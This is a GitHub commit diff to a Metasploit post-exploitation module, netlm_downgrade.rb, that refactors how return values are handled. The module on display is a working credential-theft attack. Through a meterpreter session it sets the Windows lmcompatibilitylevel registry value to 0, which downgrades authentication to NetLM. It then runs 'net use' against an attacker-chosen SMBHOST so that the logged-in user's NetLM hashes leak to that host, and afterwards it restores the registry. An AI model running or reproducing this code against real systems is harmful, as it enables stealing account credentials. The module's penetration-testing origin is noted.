Skip to content

Commit 37524c7

Browse files
committed
Make sure return vals are handled correctly.
1 parent cfcd1ea commit 37524c7

File tree

1 file changed

+50
-43
lines changed

1 file changed

+50
-43
lines changed
Lines changed: 50 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
##
2-
# $Id: netlm_downgrade.rb
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
@@ -31,25 +27,32 @@ def initialize(info={})
3127
NetLM hashes
3228
},
3329
'License' => MSF_LICENSE,
34-
'Author' => [ 'Brandon McCann "zeknox" <bmccann [at] accuvant.com>', 'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>'],
30+
'Author' =>
31+
[
32+
'Brandon McCann "zeknox" <bmccann [at] accuvant.com>',
33+
'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>'
34+
],
3535
'SessionTypes' => [ 'meterpreter' ],
36-
'References' => [
37-
[ 'URL', 'http://www.fishnetsecurity.com/6labs/blog/post-exploitation-using-netntlm-downgrade-attacks']
38-
]
36+
'References' =>
37+
[
38+
[ 'URL', 'http://www.fishnetsecurity.com/6labs/blog/post-exploitation-using-netntlm-downgrade-attacks']
39+
]
3940
))
4041

4142
register_options(
4243
[
43-
OptAddress.new( 'SMBHOST', [ true, 'IP Address where SMB host is listening to capture hashes.' ])
44+
OptAddress.new('SMBHOST', [ true, 'IP Address where SMB host is listening to capture hashes.' ])
4445
], self.class)
4546
end
4647

4748
# method to make smb connection
4849
def smb_connect
4950
begin
5051
print_status("Establishing SMB connection to " + datastore['SMBHOST'])
51-
cmd_exec("cmd.exe","/c net use \\\\#{datastore['SMBHOST']}")
52-
print_status("The SMBHOST should now have NetLM hashes")
52+
res = cmd_exec("cmd.exe","/c net use \\\\#{datastore['SMBHOST']}")
53+
if res =~ /The command completed successfully/
54+
print_good("The SMBHOST should now have NetLM hashes")
55+
end
5356
rescue
5457
print_error("Issues establishing SMB connection")
5558
end
@@ -62,46 +65,50 @@ def run
6265
# running as SYSTEM and will not pass any network credentials
6366
print_error "Running as SYSTEM, should be run as valid USER"
6467
return
68+
end
69+
70+
subkey = "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\"
71+
v_name = "lmcompatibilitylevel"
72+
netlm = registry_getvaldata(subkey, v_name)
73+
if netlm.nil?
74+
print_error("Issues enumerating registry values")
75+
return
76+
end
77+
78+
if netlm == 0
79+
print_status("NetLM is already enabled on this system")
80+
81+
# call smb_connect method to pass network hashes
82+
smb_connect
6583
else
66-
subkey = "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\"
67-
v_name = "lmcompatibilitylevel"
68-
begin
69-
netlm = registry_getvaldata(subkey, v_name)
70-
rescue
84+
85+
print_status("NetLM is Disabled: #{subkey}#{v_name} == #{netlm.to_s}")
86+
v = registry_setvaldata(subkey,v_name,0,"REG_DWORD")
87+
if v.nil?
88+
print_error("Issues modifying registry value")
89+
return
90+
end
91+
92+
post_netlm = registry_getvaldata(subkey, v_name)
93+
if post_netlm.nil?
7194
print_error("Issues enumerating registry values")
95+
return
7296
end
7397

74-
if netlm == 0
75-
print_status("NetLM is already enabled on this system")
98+
print_good("NetLM is Enabled: #{subkey}#{v_name} == #{post_netlm.to_s}")
7699

77100
# call smb_connect method to pass network hashes
78-
smb_connect
79-
else
80-
begin
81-
print_status("NetLM is Disabled: #{subkey}#{v_name} == #{netlm.to_s}")
82-
registry_setvaldata(subkey,v_name,0,"REG_DWORD")
83-
rescue
84-
print_error("Issues modifying registry value")
85-
end
86-
87-
begin
88-
post_netlm = registry_getvaldata(subkey, v_name)
89-
print_good("NetLM is Enabled: #{subkey}#{v_name} == #{post_netlm.to_s}")
90-
rescue
91-
print_error("Issues enumerating registry values")
92-
end
101+
smb_connect
93102

94-
# call smb_connect method to pass network hashes
95-
smb_connect
96-
97-
# cleanup the registry
98-
begin
99-
registry_setvaldata(subkey,v_name,netlm,"REG_DWORD")
100-
print_status("Cleanup Completed: #{subkey}#{v_name} == #{netlm.to_s}")
101-
rescue
102-
print_error("Issues cleaning up registry changes")
103-
end
103+
# cleanup the registry
104+
v = registry_setvaldata(subkey,v_name,netlm,"REG_DWORD")
105+
if v
106+
print_status("Cleanup Completed: #{subkey}#{v_name} == #{netlm.to_s}")
107+
else
108+
print_error("Issues cleaning up registry changes")
109+
return
104110
end
111+
105112
end
106113
end
107114
end

0 commit comments

Comments
 (0)